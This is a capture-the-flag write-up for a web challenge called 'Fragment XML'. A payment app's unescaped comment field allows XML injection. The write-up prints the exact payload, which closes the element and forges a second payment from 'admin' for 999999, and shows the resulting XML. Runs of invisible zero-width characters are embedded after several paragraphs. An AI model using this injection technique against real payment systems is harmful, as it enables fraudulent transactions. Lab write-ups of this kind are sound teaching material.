Fragment XML

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: payment_forgery, xml_fragment_injection

Summary

Web application for processing payments. The system validates that the sender equals "me" — you cannot pay from someone else's account. User input in the "comment" field is inserted into the XML document without escaping.

Fragment XML — Web Kids 2.0

Description

Web application for processing payments. The system validates that the sender equals "me" — you cannot pay from someone else's account. User input in the "comment" field is inserted into the XML document without escaping.

Analysis

The application generates an XML document with payment data:

 xml read-only • copy allowed Copy
<payment>
  <sender>me</sender>
  <receiver>target</receiver>
  <amount>100</amount>
  <comment>user_input</comment>
</payment>

The comment field is not escaped, which allows injecting XML tags and creating an additional <payment> element with an arbitrary sender. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Structure Analysis

Determine that user input is inserted directly into XML without escaping special characters (<, >, /).

Step 2: Crafting the Payload

Close the current comment and payment elements, then open a new payment with sender=admin:

test</comment></payment><payment><sender>admin</sender><receiver>me</receiver><amount>999999</amount><comment>hacked

Step 3: Resulting XML

After injection, the XML looks like this:

 xml read-only • copy allowed Copy
<payment>
  <sender>me</sender>
  <receiver>target</receiver>
  <amount>100</amount>
  <comment>test</comment>
</payment>
<payment>
  <sender>admin</sender>
  <receiver>me</receiver>
  <amount>999999</amount>
  <comment>hacked</comment>
</payment>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The system processes both payments, including the forged one from admin. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍